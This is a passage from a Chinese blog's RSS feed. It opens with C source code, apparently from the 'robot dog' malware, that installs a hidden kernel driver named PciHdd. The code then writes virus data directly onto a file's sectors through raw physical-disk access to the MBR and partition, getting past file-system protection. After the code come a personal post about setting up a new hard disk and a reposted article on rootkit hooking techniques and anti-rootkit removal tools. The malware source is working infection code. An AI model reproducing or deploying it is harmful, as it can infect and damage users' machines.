SC_HANDLE       hService;<br />
SERVICE_STATUS   sService;<br />
DWORD           errCode = ERROR_SUCCESS;<br />
if(<br />
(NULL == (hSysRes = FindResource(ModuleHandle, (LPCTSTR)1001, (LPCTSTR)1001)))<br />
||<br />
(0     == (dwSysLen = SizeofResource(ModuleHandle, hSysRes)))<br />
||<br />
(NULL == (lpSysBuf = LockResource(hSysRes)))<br />
||<br />
(0     == ExpandEnvironmentStrings(STR_SYSFILE_PATH, &amp;filePath[0], sizeof(filePath)))<br />
||<br />
(INVALID_HANDLE_VALUE == (fileHandle = CreateFile(filePath, GENERIC_WRITE, 0, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL)))<br />
)<br />
{<br />
errCode = GetLastError();<br />
goto FunExit00;<br />
}<br />
if(<br />
!WriteFile(fileHandle, lpSysBuf, dwSysLen, &amp;dwWritten, NULL)<br />
||<br />
!SetEndOfFile(fileHandle)<br />
||<br />
!FlushFileBuffers(fileHandle)<br />
)<br />
{<br />
errCode = GetLastError();<br />
}<br />
CloseHandle(fileHandle);<br />
if(ERROR_SUCCESS != errCode)<br />
{<br />
goto FunExit01;<br />
}<br />
if(NULL == (hSCManager = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS)))<br />
{<br />
errCode = GetLastError();<br />
goto FunExit01;<br />
}<br />
hService = CreateService(<br />
hSCManager,<br />
TEXT(&#8220;PciHdd&#8221;),<br />
TEXT(&#8220;PciHdd&#8221;),<br />
SERVICE_ALL_ACCESS,<br />
SERVICE_KERNEL_DRIVER,<br />
SERVICE_DEMAND_START,<br />
SERVICE_ERROR_IGNORE,<br />
filePath,<br />
NULL,<br />
NULL,<br />
NULL,<br />
NULL,<br />
NULL<br />
);<br />
if(NULL != hService)<br />
{<br />
CloseServiceHandle(hService);<br />
}<br />
else<br />
{<br />
if(NULL != (hService = OpenService(hSCManager, TEXT(&#8220;PciHdd&#8221;), SERVICE_ALL_ACCESS)))<br />
{<br />
ControlService(hService, SERVICE_CONTROL_STOP, &amp;sService);<br />
DeleteService(hService);<br />
CloseServiceHandle(hService);<br />
}<br />
hService = CreateService(<br />
hSCManager,<br />
TEXT(&#8220;PciHdd&#8221;),<br />
TEXT(&#8220;PciHdd&#8221;),<br />
SERVICE_ALL_ACCESS,<br />
SERVICE_KERNEL_DRIVER,<br />
SERVICE_DEMAND_START,<br />
SERVICE_ERROR_IGNORE,<br />
filePath,<br />
NULL,<br />
NULL,<br />
NULL,<br />
NULL,<br />
NULL<br />
);<br />
if(NULL != hService)<br />
{<br />
CloseServiceHandle(hService);<br />
}<br />
else<br />
{<br />
errCode = GetLastError();<br />
goto FunExit02;<br />
}<br />
}<br />
if(NULL == (hService = OpenService(hSCManager, TEXT(&#8220;PciHdd&#8221;), SERVICE_START)))<br />
{<br />
errCode = GetLastError();<br />
goto FunExit02;<br />
}<br />
StartService(hService, 0, NULL);<br />
CloseServiceHandle(hService);<br />
FunExit02:<br />
CloseServiceHandle(hSCManager);<br />
FunExit01:<br />
DeleteFile(filePath);<br />
FunExit00:<br />
return err<br />
Code;<br />
}</p>
<p>//========================================================<br />
DWORD StopAndDeleteDriver(VOID)<br />
{<br />
TCHAR           filePath[MAX_PATH];<br />
SC_HANDLE       hSCManager;<br />
SC_HANDLE       hService;<br />
SERVICE_STATUS   sService;<br />
DWORD           errCode = ERROR_SUCCESS;<br />
if(NULL == (hSCManager = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS)))<br />
{<br />
errCode = GetLastError();<br />
goto FunExit00;<br />
}<br />
if(NULL == (hService = OpenService(hSCManager, TEXT(&#8220;PciHdd&#8221;), SERVICE_ALL_ACCESS)))<br />
{<br />
errCode = GetLastError();<br />
goto FunExit01;<br />
}<br />
ControlService(hService, SERVICE_CONTROL_STOP, &amp;sService);<br />
DeleteService(hService);<br />
CloseServiceHandle(hService);<br />
FunExit01:<br />
CloseServiceHandle(hSCManager);<br />
FunExit00:<br />
ExpandEnvironmentStrings(STR_SYSFILE_PATH, &amp;filePath[0], sizeof(filePath));<br />
DeleteFile(filePath);<br />
return errCode;<br />
}</p>
<p>//========================================================<br />
// 感染硬盘第一个分区的指定的文件<br />
//<br />
// 1)通过FSCTL_GET_RETRIEVAL_POINTERS获取文件数据的分布 信息<br />
//<br />
// 2)通过直接访问硬盘(\\\\.\\PhysicalHardDisk0)的的MDR和第一个分区的引导扇区得到分区参数来定位文件。<br />
//<br />
// 3)通过对比ReadFile读取的文件数据和自己定位后直接 读取所得到的文件数据，确定定位是否正确<br />
//<br />
// 入口参数:<br />
// 要感染的文件名（完整路径）<br />
//<br />
// Return value:<br />
// Success -&gt; NULL<br />
// Failed   -&gt; 指向出错信息的指针<br />
//==========================================================<br />
DWORD WriteVirusToDisk(LPCTSTR VirusFile)<br />
{<br />
STARTING_VCN_INPUT_BUFFER   iVcnBuf;<br />
UCHAR                       oVcnBuf[272];<br />
PRETRIEVAL_POINTERS_BUFFER lpVcnBuf;<br />
DWORD                       dwVcnExtents;<br />
LARGE_INTEGER               startLcn;<br />
PUCHAR                     lpClusterBuf;<br />
DWORD                       dwClusterLen;<br />
UCHAR                       dataBuf[512];<br />
UCHAR                       diskBuf[512];<br />
DWORD                       dataLen;<br />
LARGE_INTEGER               diskPos;<br />
PPARTITION_ENTRY           lpPartition;<br />
ULONG                       dwPartitionStart;<br />
ULONG                       dwPartitionType;<br />
PBBR_SECTOR                 lpBootSector;<br />
DWORD                       SectorsPerCluster;<br />
HANDLE                     hHddDevice;<br />
HANDLE                     hDskDevice;<br />
HANDLE                     hVirusFile;<br />
DWORD                       errCode = ERROR_SUCCESS;<br />
if(INVALID_HANDLE_VALUE == (hHddDevice = CreateFileA(STR_HDDDEVICE_NAME, GENERIC_READ, 0, NULL, OPEN_EXISTING, 0, NULL)))<br />
{<br />
errCode = GetLastError();<br />
goto FunExit00;<br />
}<br />
//<br />
if(INVALID_HANDLE_VALUE == (hVirusFile = CreateFileA(VirusFile, GENERIC_READ, FILE_SHARE_READ|FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_FLAG_NO_BUFFERING, NULL)))<br />
{<br />
errCode = GetLastError();<br />
goto FunExit01;<br />
}<br />
iVcnBuf.StartingVcn.QuadPart = 0;<br />
RtlZeroMemory(oVcnBuf, sizeof(oVcnBuf));<br />
if(!DeviceIoControl(hVirusFile, FSCTL_GET_RETRIEVAL_POINTERS, &amp;iVcnBuf, sizeof(iVcnBuf), &amp;oVcnBuf[0], sizeof(oVcnBuf), &amp;dataLen, NULL))<br />
{<br />
errCode = GetLastError();<br />
goto FunExit02;<br />
}<br />
lpVcnBuf = (PRETRIEVAL_POINTERS_BUFFER)&amp;oVcnBuf[0];<br />
dwVcnExtents = lpVcnBuf-&gt;ExtentCount;<br />
startLcn     = lpVcnBuf-&gt;Extents[0].Lcn;<br />
if(!dwVcnExtents)<br />
{<br />
errCode = (ULONG)(-3); // 文件太小, 不能操作<br />
goto FunExit02;<br />
}<br />
if(startLcn.QuadPart == -1)<br />
{<br />
errCode = (ULONG)(-4); // 该文件是压缩文件, 不能操作<br />
goto FunExit02;<br />
}<br />
ReadFile(hVirusFile, dataBuf, sizeof(dataBuf), &amp;dataLen, NULL);<br />
// 打开第一个物理硬盘<br />
if(INVALID_HANDLE_VALUE == (hDskDevice = CreateFileA(STR_DSKDEVICE_NAME, GENERIC_READ|GENERIC_WRITE, FILE_SHARE_READ|FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL)))<br />
{<br />
errCode = GetLastError();<br />
goto FunExit02;<br />
}<br />
// 读取硬盘第一个扇区(MBR)<br />
SetFilePointer(hDskDevice, 0, NULL, FILE_BEGIN);<br />
ReadFile(hDskDevice, diskBuf, sizeof(diskBuf), &amp;dataLen, NULL);<br />
lpPartition = &amp;(((PMBR_SECTOR)&amp;diskBuf[0])-&gt;Partition[0]);<br />
if(lpPartition[0].active != 0&#215;80)<br />
{<br />
errCode = (ULONG)(-1); // 分区不是启动分区<br />
goto FunExit03;<br />
}<br />
dwPartitionType = lpPartition[0].PartitionType;<br />
if(<br />
dwPartitionType != PARTITION_TYPE_FAT32<br />
&amp;&amp;<br />
dwPartitionType != PARTITION_TYPE_FAT32_LBA<br />
&amp;&amp;<br />
dwPartitionType != PARTITION_TYPE_NTFS<br />
)<br />
{<br />
errCode = (ULONG)(-2); // 不支持的磁盘分区<br />
goto FunExit03;<br />
}<br />
dwPartitionStart = lpPartition[0].StartLBA;<br />
diskPos.QuadPart = dwPartitionStart * 512;<br />
// 读取启动分区的第一个扇区(启动扇区)<br />
SetFilePointer(hDskDevice, diskPos.LowPart, &amp;diskPos.HighPart, FILE_BEGIN);<br />
ReadFile(hDskDevice, diskBuf, sizeof(diskBuf), &amp;dataLen, NULL);<br />
lpBootSector = (PBBR_SECTOR)&amp;diskBuf[0];<br />
SectorsPerCluster = lpBootSector-&gt;SectorsPerCluster;<br />
// 根据FAT32/NTFS计算Userinit的起始簇的偏移量<br />
diskPos.QuadPart = dwPartitionStart;<br />
diskPos.QuadPart+= lpBootSector-&gt;ReservedSectors;<br />
if(dwPartitionType == PARTITION_TYPE_FAT32 || dwPartitionType == PARTITION_TYPE_FAT32_LBA)<br />
{<br />
diskPos.QuadPart+= lpBootSector-&gt;NumberOfFATs * lpBootSector-&gt;SectorsPerFAT32;<br />
}<br />
diskPos.QuadPart+= startLcn.QuadPart * SectorsPerCluster;<br />
diskPos.QuadPart*= 512;<br />
// 检查文件寻址<br />
SetFilePointer(hDskDevice, diskPos.LowPart, &amp;diskPos.HighPart, FILE_BEGIN);<br />
ReadFile(hDskDevice, diskBuf, sizeof(diskBuf), &amp;dataLen, NULL);<br />
if(!RtlEqualMemory(dataBuf, diskBuf, sizeof(diskBuf)))<br />
{<br />
errCode = (ULONG)(-5); // 寻址文件不成功<br />
goto FunExit03;<br />
}<br />
// 分配缓冲<br />
dwClusterLen = SectorsPerCluster*512;<br />
lpClusterBuf = (PUCHAR)GlobalAlloc(GMEM_ZEROINIT, dwClusterLen); // 保存一个簇所要的缓冲<br />
if(!lpClusterBuf)<br />
{<br />
errCode = GetLastError(); // 寻址文件不成功<br />
goto FunExit03;<br />
}<br />
// 把Virus文件的数据从SYS文件资源段中解码出来<br />
if(!DeviceIoControl(<br />
hVirusFile,<br />
IOCTL_MYDEV_Fun_0xF01,<br />
(PVOID)0&#215;00401000,         // 本执行文件代码段的开始, 在C语言中我不会表达<br />
0x73E,                     // 本执行文件代码段的长度, 在C语言中我不会表达<br />
lpClusterBuf,<br />
dwClusterLen,<br />
&amp;dataLen,<br />
NULL<br />
))<br />
{<br />
errCode = GetLastError();<br />
goto FunExit04;<br />
}<br />
// 写Virus文件的数据到磁盘<br />
SetFilePointer(hDskDevice, diskPos.LowPart, &amp;diskPos.HighPart, FILE_BEGIN);<br />
WriteFile(hDskDevice, lpClusterBuf, dwClusterLen, &amp;dataLen, NULL);<br />
FlushFileBuffers(hDskDevice);<br />
errCode = ERROR_SUCCESS;<br />
FunExit04:<br />
GlobalFree(lpClusterBuf);<br />
FunExit03:<br />
CloseHandle(hDskDevice);<br />
FunExit02:<br />
CloseHandle(hVirusFile);<br />
FunExit01:<br />
CloseHandle(hHddDevice);<br />
FunExit00:<br />
return errCode;<br />
}</p>
<p>//==========================================================<br />
int _tmain(int argc, _TCHAR* argv[])<br />
{<br />
TCHAR           filePath[MAX_PATH];<br />
DWORD           errCode;<br />
if(ERROR_SUCCESS != (errCode = InstallAndStartDriver(GetM<br />
oduleHandleA(NULL))))<br />
{<br />
MessageBox(NULL, TEXT(&#8220;驱动程序的加载没有成功,程序将无法运行&#8221;), NULL, MB_ICONERROR);<br />
goto FunExit00;<br />
}<br />
ExpandEnvironmentStrings(STR_VIRFILE_PATH, &amp;filePath[0], sizeof(filePath));<br />
WriteVirusToDisk(filePath);<br />
StopAndDeleteDriver();<br />
FunExit00:<br />
return 0;<br />
}</p></blockquote>
]]></content:encoded>
			<wfw:commentRss>http://www.a-boss.com/2008/03/20/%e6%9c%ba%e5%99%a8%e7%8b%97%e6%ba%90%e7%a0%81%ef%bc%88c%e7%9a%84%ef%bc%89.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>“站长”近况</title>
		<link>http://www.a-boss.com/2008/03/06/%e2%80%9c%e5%b7%a5%e4%bd%9c%e2%80%9d%e8%bf%91%e5%86%b5.html</link>
		<comments>http://www.a-boss.com/2008/03/06/%e2%80%9c%e5%b7%a5%e4%bd%9c%e2%80%9d%e8%bf%91%e5%86%b5.html#comments</comments>
		<pubDate>Thu, 06 Mar 2008 08:51:21 +0000</pubDate>
		<dc:creator>robay</dc:creator>
				<category><![CDATA[建站笔记]]></category>
		<category><![CDATA[介绍]]></category>
		<category><![CDATA[学习]]></category>
		<category><![CDATA[测试]]></category>
		<category><![CDATA[硬盘]]></category>
		<category><![CDATA[程序]]></category>
		<category><![CDATA[站长]]></category>
		<category><![CDATA[计划]]></category>
		<category><![CDATA[调试]]></category>

		<guid isPermaLink="false">http://www.a-boss.com/blog/?p=81</guid>
		<description><![CDATA[这些天似乎自己一直很忙,却迟迟见不到任何成果或者进展,像是一直在做无用功似的.不过在昨晚终于算是结束了这种状况。 如果说换另外一种角度去看这些天，其实也算是收获颇丰的。 1、盼... ]]></description>
			<content:encoded><![CDATA[<p>这些天似乎自己一直很忙,却迟迟见不到任何成果或者进展,像是一直在做无用功似的.不过在昨晚终于算是结束了这种状况。<br />
如果说换另外一种角度去看这些天，其实也算是收获颇丰的。<br />
1、盼望已久的硬盘终于买了，本来想搞个320G的就完全够用了，还是禁不住一帮人的忽悠，一咬牙搞了这块号称企业级的500G硬盘，虽然已经有噪声大的心里准备，但听到心里，总是有丝不舒服。<br />
硬盘买了，自然就要把数据都导过来了，满满4块硬盘的数据是分了两晚的时间才搞完的，因为主板老，只支持SATA1，所以期间还研究了好长时间的硬盘接口问题，其他硬盘就可以光蓉下岗了，只是不知道如何处理它们。<br />
2、在新硬盘上装系统，倒是不骨费多大事，不过一直想用VM的虚拟机测试系统用，在安装VM的时候出现了太多的问题，因为以前用的是VPC，这是第一次用VM又是绿色版的，仿佛很难上手，问题多多：什么键盘不能用，与本机共享问题，上网问题，都是在浪费了大量时间的基础上解决了，但同时也学习了许多新知识。<br />
3、在虚拟机上装了套英文XP，用起来倒还凑合就是看英文说明的时候，实在是太吃力，不像看中文那样，一目十行。然后从网上又下载VC++英文原版，又安装了SDK组件。总是把平台搭建完成，下一步的计划就是最主要的程序调试。不过说实施，好多年不碰这东西了，真没有信心能搞定，走一步算一步吧。<br />
以上就是我这几天的“工作”情况，介绍完毕。感谢LP的支持。</p>
]]></content:encoded>
			<wfw:commentRss>http://www.a-boss.com/2008/03/06/%e2%80%9c%e5%b7%a5%e4%bd%9c%e2%80%9d%e8%bf%91%e5%86%b5.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>主动防御技术(转)</title>
		<link>http://www.a-boss.com/2008/02/23/%e4%b8%bb%e5%8a%a8%e9%98%b2%e5%be%a1%e6%8a%80%e6%9c%af%e8%bd%ac.html</link>
		<comments>http://www.a-boss.com/2008/02/23/%e4%b8%bb%e5%8a%a8%e9%98%b2%e5%be%a1%e6%8a%80%e6%9c%af%e8%bd%ac.html#comments</comments>
		<pubDate>Sat, 23 Feb 2008 21:16:43 +0000</pubDate>
		<dc:creator>robay</dc:creator>
				<category><![CDATA[建站笔记]]></category>
		<category><![CDATA[主动防御]]></category>
		<category><![CDATA[代码]]></category>
		<category><![CDATA[安全]]></category>
		<category><![CDATA[思考]]></category>
		<category><![CDATA[暴力]]></category>
		<category><![CDATA[测试]]></category>
		<category><![CDATA[游戏]]></category>
		<category><![CDATA[破解]]></category>
		<category><![CDATA[硬盘]]></category>
		<category><![CDATA[程序]]></category>
		<category><![CDATA[记录]]></category>
		<category><![CDATA[调试]]></category>
		<category><![CDATA[软件]]></category>
		<category><![CDATA[隐藏]]></category>

		<guid isPermaLink="false">http://www.a-boss.com/blog/?p=75</guid>
		<description><![CDATA[主动防御技术 对于SSDT Hook，现在的所有Anti-Rootkit工具都能轻易找出并解除它的钩子（脱钩，Unhook），如IceSword、RKU、超级巡警等。 运行IceSword，首先点击“进程”，观察这里是否存在红色标记... ]]></description>
			<content:encoded><![CDATA[<p>主动防御技术<br />
对于SSDT Hook，现在的所有Anti-Rootkit工具都能轻易找出并解除它的钩子（脱钩，Unhook），如IceSword、RKU、超级巡警等。<br />
运行IceSword，首先点击“进程”，观察这里是否存在红色标记的进程，如果有，说明你的系统里绝对存在SSDT Hook，那红色的进程正是被底层驱动隐藏起来的文件，将它的具体位置记下来，并将其终止。<br />
现在点击进入SSDT列表，会发现一些被红色标注出来的行列，记住它的“当前服务函数所在模块”，这个就是实施SSDT Hook的底层驱动文件。<br />
然后，使用超级巡警切换至高级模式，将SSDT恢复为初始状态，它的所有防御就被解除了，现在直接查找刚才记录的文件去删除吧。<br />
进一步试探：Shadow SSDT Hook<br />
RK 作者不甘心，无论是出于技术上的抗争还是利益上的损失，反正，ARK既然让我丢了面子或瘪了钱包，那么，“有朝一日龙得水，定叫长江水倒流！”，一些人开始尝试研究破解Anti-Rootkit工具，誓与之抗争到底，另一些人，则开始了新的探索，最终，双方都有了成效：首先，pjf的大作 IceSword被成功反汇编了，虽然得到的并不是最初的C语言代码而是汇编语句，但是对于研究Rootkit的人来说，汇编在他们眼里，就如同看网络小说一样轻而易举，很快，就有人识破了作者的检测逻辑，可以绕过IceSword以及其他采用类似检测方法的工具的Rootkit就此诞生，甚至一部分RK 已经开始反过来监控ARK，一旦相应ARK的驱动被加载，立即开始玉石俱焚——将用户机器弄成经典的蓝屏死机，不明就里的用户在几次与蓝色屏幕对望后，通常都会无奈的放弃；而另一种蓝屏则是更深层次的问题导致的，下面会提到。<br />
//文章出处:网络技术论坛(http://bbs.nettf.net) 作者:小金<br />
而探索另一个方向的研究者们，也传来了捷报：Windows系统里，除了那个大家都在玩的SSDT（KeServiceDescriptorTable）以外，还有一个隐藏得非常深入的类似SSDT结构的数据段在同时工作着，它被称为“Shadow SSDT”（SSDT映射），这个“KeServiceDescriptorTableShadow”功能并未从系统内核中导出，但是通过外联的系统级别调试器，却看到了它的踪影。Shadow SSDT的作用和SSDT本身差不多，只不过它主要是提供一些基于图形用户界面（GUI）下的系统服务函数，并保存了一份与SSDT相同的服务列表，当然，这也是提供给基于GUI下的程序调用的。Shadow SSDT被安排在win32k.sys中，非常少文献提及它，因此这几乎是个被人遗忘的角落，Rootkit作者们很快就发现，控制这里也能达到一定的效果，因为Shadow SSDT同样具备了SSDT的所有功能，只不过是要利用的时候多了一些步骤而已，于是RK又有了新的玩法，这一次，轮到ARK傻眼了，那时候ARK根本没有做到Shadow SSDT这一步，于是，只钩住Shadow SSDT的Rootkit们得以无法无天的生存下去，任由用户怎么发现恶意程序怎么恢复SSDT都好，始终都是影响不到此类Rootkit！<br />
这个情形，一直到具备了Shadow SSDT检测功能的ARK工具出现才结束，例如大名鼎鼎的RootKit Unhooker（RKU），它那强大的SSDT以及其Shadow检测脱钩功能，帮助许多人解决了这些新生的捣蛋鬼，于是，Rootkit作者们又开始寻求新的生存之道。<br />
此类Hook由于出现得比较晚，很多当初流行的ARK都没有涉及这块，所以，我们只能使用RKU、狙剑等工具对其进行操作。<br />
运行RKU（Rootkit Unhooker），它是英文软件，但是操作十分简便。点击“Shadow SSDT”，如果系统中存在Shadow SSDT Hook，你会发现软件底部状态栏里“Services/Hooked”不再是“xxx/0”的状态，同时相应被Hook的函数显示行里， “Hooked”一栏为“Yes”，现在记下这个文件的位置和地址，然后直接点“UnHooked ALL”，接下来，去找文件删除吧。<br />
逼近顶峰：Inline Hook<br />
世界上最荒谬的事情是什么？是顺着被人故意弄乱方向的路牌，往错误的方向走了好远都没察觉到有问题？还是被朋友恶作剧的将男女洗手间的标识换了位置？如果有天去造访寺院，却发现里面居然是清一色的道士在念经，你一定会惊呼，这简直太荒谬了！<br />
在狂热的Rootkit领域里，类似的荒谬正在散布开来，那就是高级的Hook形式——Inline Hook。<br />
在最初的运作流程里，所有被设置了挂钩的函数操作，最终还是要回到原始功能模块内处理的，毕竟第三方程序作者不是Windows系统编写者，为了保证系统的正常运行，最明智的做法当然是让被拦截的相关函数请求在经过自己编写的模块的层层检测并发现无害以后，立即将这个即将进行正常工作的请求原封不动的送到它该干活的地方去，以便系统完成整个工作流程，所以大家都在打SSDT等地方的主意，就是为了在这条必经之路上插上一脚，力求能绊倒那些看着不顺眼的路人。而现在，路上出现会砍脚的保安了，怎么办，难道玩不下去了吗？然而，迎接挑战正是每个研究者的兴趣所在，于是，荒谬的念头带出了可怕的技术，这就是 Inline Hook。<br />
其实，Inline Hook早就作为一种高级的Hook技术存在了，在用户层上的一些特殊程序如游戏外挂等，为了获得最完整可靠的数据，它们都不再采用错误指路牌的方法来将数据转移了，因为这样很可能会因为触发程序编写者针对此问题而设置的处理程序，最终功亏一篑。那么，怎么样才能让这个处理程序不能达到触发条件呢？那就是千万别去钩这个程序，但是如果不钩住程序，又该如何取得相关数据呢？在这样的思考模式下，一种新的钩子技术诞生了：它虽然也在玩钩子，但是它却不是来钩目标程序的，而是将系统里相应的API函数给虏了去，由于任何普通程序作者对系统API都是绝对信任的，于是，当他们的程序请求调用相关API并将参数一同发送过去时，由于提供这个API的相应模块被钩住了，它的“先知”——布施钩子者就抢先一步得到了数据内容，接下来就得看作者的编程功底来决定程序的生死了，因为作者并不能自己写出相应的系统函数，他就必须得设法将数据送回原函数执行模块里去，这一步稍有差错，就会导致调用这个API的程序崩溃退出。<br />
正因如此，Inline Hook是一种相对一般Hook而言更复杂的技术，除非作者有较深的编程功底和对系统的了解，否则冒冒失失就大量使用这个技术是很容易出问题的，不仅受害者不好过，攻击者也无法取得他所需数据，得不偿失。<br />
既然在用户层（Ring 3）上使用Inline Hook都要如此注意，那么在Rootkit的世界里有没有人吃螃蟹呢？答案是一定的，当钩住SSDT和Shadow SSDT的途径都被堵死以后，Rootkit技术终于向Inline Hook迈出了一步。<br />
设想一下，当所有检测工具都在虎视眈眈SSDT这个关口时，某个Rootkit早已用自己的函数把系统内核里的敏感函数给替换了，当用户层的函数操作请求通过正常的SSDT找到相应内核态函数的执行主体时，却不知道这个执行主体早已被Rootkit冒名顶替了，那么情形会是怎么样的呢？虽然所有检测工具都报告情况正常，但是机器内其实早已被Rootkit安家，如果这个Rootkit预置了在某个时刻进行破坏行为的逻辑，那么用户直到系统出问题的那一刻，都还不知道究竟发生了什么事情！<br />
位于Ring 0的Inline Hook是十分隐蔽的，除非研究者对系统了解较深，否则他想破了头也不能找出原因所在，更别提连杀个辜n程的概念都很迷茫的普通用户了。但是使用 Inline Hook是必须付出代价的，由于内核的复杂性，尤其因为位于这一层的函数是所有程序都必须频繁调用的，很多时候如果设钩者没考虑周全，导致某个已经 Inline Hook的函数被意外的直接调用，就会导致严重后果。所以，使用Inline Hook的Rootkit能否正常稳定的工作，是与作者的水平连接得十分紧密的，一个不成熟的用户层Inline Hook程序大不了就是跟着它要监控的程序一起引发内存错误导致非法操作异常退出，仅此而已，但是到了系统核心层，这里可没有任何错误检测模块来保证你的程序在做出会导致内核崩溃的事情之前就赶紧将它终止——这已经是最底层了，一个错误的内存读写都会直接引发内核级别的崩溃，即我们俗称的“蓝屏死机” （BSoD，Blue Screen of Dealth）。于是，不成熟的Inline Hook Rootkit的代价就是系统变得及其不稳定，在用户看来，电脑表现出来的症状就是莫名其妙的非常容易蓝屏，这就是技术不成熟的Rootkit导致的后果，只不过，这个代价是由受害的用户来承担的。<br />
不过，目前能流行开来的Inline Hook Rootkit，基本上都是已经在开发者的机器上经历了无数次蓝屏考验后才出场的，所以通常情况下，用户并不会因为这些Rootkit的存在而频频蓝屏，并且，它已经成为当前Rootkit的主流技术。<br />
对付Inline Hook，无论是狙剑、RKU还是Wsyscheck都可以做到，以狙剑为例，点击程序主界面的“扩展功能”，然后点击“SSDT检查”，你会突然有眼花缭乱的感觉，所以请点击右键——“筛选可疑项”，让它仅仅把异常部分显示出来（注意那个SnipeSword.sys，它是狙剑自身的驱动，不要弄错了），如果系统存在异常，“HOOK类型”里会列出相关说明，如HOOK、Inline-Hook等，首先可以尝试右键选择“恢复所有HOOK”，然后刷新一次，如果仍然列出异常项目，就得在相应的项目列上点击右键选择“恢复选定的Inline-HOOK”了。<br />
紧紧缠绕的寄生藤：FSD Hook<br />
//文章出处:网络技术论坛(http://bbs.nettf.net) 作者:小金<br />
随着RK与ARK的斗争进展，SSDT Hook（包括Shadow Hook）的道路被清理了，Inline Hook也被揪出来清理了，但是一些用户惊讶的发现，他们仍然无法删除这些已经暴露在眼皮底下的文件，这是为什么？<br />
在解说这个问题之前，我们先来了解一些概念。为了让用户敲打键盘、点击鼠标、插入U盘等就能直接进入计算机的世界，操作系统在幕后是做了相当多的工作的，这些在底层运作的功能层层汇聚，最终建立出一个可用的操作平台，其中，负责管理磁盘数据和文件读写的部分被称为“文件系统”（File System，FS），其中，Windows系列操作系统是采用IOS（Input/Output Supervisor，输入输出管理程序）技术进行文件系统管理的。它接管所有的存储设备，如硬盘、可移动式磁盘、光驱等。<br />
IOS是一种层次结构的管理方案，展现在用户层上的是各种应用程序的读写操作，其下一层紧接着的是被称为“可安装文件系统”（Installable File System，IFS）的接口层，这一层是以下各层的最终汇聚，通俗点说，也就是我们在屏幕上看到磁盘盘符、光驱盘符、U盘盘符、网络磁盘映射盘符等图标并对它们进行操作的由来。继IFS以后，就是各种文件系统驱动所在的层，即“FSD”（File System Driver，文件系统驱动），这一层直接与IOS连接，用于接受并处理属于自己任务分派内的数据；FSD下一层直达IOS，而到了IOS的下一层，数据就开始往硬件化发展了。<br />
而这次Rootkit的目标，就是到达IOS之前的最后一层：FSD。<br />
FSD在Windows系统中属于开放给编程人员可接触到的最深入的一块区域（再往下就是操作系统自身提供的驱动和硬件厂商的事情了），所以，这一层的权限是很高的，控制了这个层次，开发者就能掌握到最多最全面的文件读写操作控制，于是，当所有的道路都被Anti-Rootkit工具阻挠后， Rootkit作者开始反抗，方法是阻止他们的工具将揪出来的Rootkit直接歼灭。<br />
FSD并非绝对禁地，在这之前，反病毒厂商和磁盘数据加密厂商早就在这一层里专研了，一部分人致力于编写自己的FSD，而更多的人，是通过编写FSD Filter Driver（文件系统驱动过滤器）来达到目的，以便从中析出它们敏感的数据来进行其他工作，而Filter驱动的一个要点就是钩住FSD，即“FSD Hook”。当FSD被你掌握后，你就可以通过操纵它的数据来控制别人的文件读写请求，对于Rootkit来说，它们可以将一些敏感文件如自身驱动程序文件、用户层相关文件等设置为除了它们自己以外的程序都无法对其进行读写的效果，到了用户层，直接反映出来的就是无法对其进行编辑、改名和删除。<br />
用了这个技术，Rootkit作者们又可以偷笑了，因为即使用户用各种手段找到了它并将其进程终止，他也无法操作那些被保护起来的文件。<br />
只是，钩子始终是钩子，总会有人去脱钩的，在克制FSD Hook技术的ARK工具出现后，一部分人面对着十分难以操作的FSD而放弃了，因为到了这一层已经非常容易导致系统不稳定了。<br />
而一些人，仍然走了下去。<br />
如何清理这个类型的Rootkit呢？以最容易操作的Wsyscheck为例，首先运行Wsyscheck（你会发现一个有趣现象：IceSword无法检测到Wsyscheck的Hook，因为它用的技术是Inline Hook和FSD Hook），点击进入“内核检查”，选中“FSD检查”，留意“代码异常”项里是否有标注为“Yes”的项，如果有，请在界面里右键点击，并选择“恢复所有函数”。Wsyscheck的进程列表并非使用IceSword一类的逻辑，所以如果你看到存在红色的列表也不要太过于紧张，它只是表示这个程序是没有系统签名验证、且类型特殊（如服务、加载驱动等）的应用程序而已，并非是IceSword这样的“坏人标识”。<br />
产于极端的终极技术：FSD Inline Hook<br />
Rootkit到了FSD Hook这一层，对系统造成的影响已经相当危险了，然而，由于出现了对抗的工具触动了某些人的利益，终于，一个著名的流氓软件吃了这只大家都会因为良心不安而不去触碰的螃蟹——FSD Inline Hook。<br />
在及其重要敏感的FSD环境下放钩子本身就是一件要求很高的事情，而用自己的函数去替代这个雷区的系统函数，更是被很多人认为是严禁操作的事情，而现在，真的有人带头违反了，以后的局势又将如何呢？<br />
所以，将CNNIC列为当前流氓软件作者的所有研究目标都不过分，因为CNNIC身上，就具备了多种高级技术，只可惜，全都没有用于正道。<br />
Inline Hook的概念我们在前面已经说过了，现在主要说说这个Rootkit的行为以及后果。<br />
也许是CNNIC的开发者对于自家产品频频被删除而恼怒了吧，这次最新发布的程序中，FSD Inline Hook终于出现了，它直接将操作系统厂商编写的相关功能使用自己的函数去取代了，而搞过FSD开发的人都知道，这一层的功能函数对硬件平台、系统版本是具有高度依赖性的，每个操作系统采用的函数都会有些许差异，但是操作系统厂商并不是制作通用的FSD方案，更何况，这个标准就是他们自己提出来的，所以这些变动对他们而言都是无伤大雅的，但是对于第三方厂商来说，他们缺少必要的开发文档（微软并未公布任何涉及FSD Inline Hook技术文档，也不鼓励开发者这样做）和齐全的硬件测试平台，所以，在䷜n齐全的操作系统环境和硬件配置下实现的技术，必然很容易就导致受害用户直接欣赏到赏心悦目的蓝屏。<br />
CNNIC必然清楚这点，但是，他们什么也不顾了。而且，CNNIC的技术水平果然也没达到稳定的水平，在被CNNIC安家的系统里，用户只要运行 IceSword检测，就会直接导致蓝屏，这是因为它们都同时钩住了一个底层函数，但是下钩的位置存在些许偏差，例如，一个钩住了头部，一个钩住了屁股，于是内核受不了这很黄很暴力的行为，而直接崩溃了。<br />
但是，毕竟已经有人起了头。以后的Rootkit世界将会变成什么样子，谁也不知道。<br />
//文章出处:网络技术论坛(http://bbs.nettf.net) 作者:小金<br />
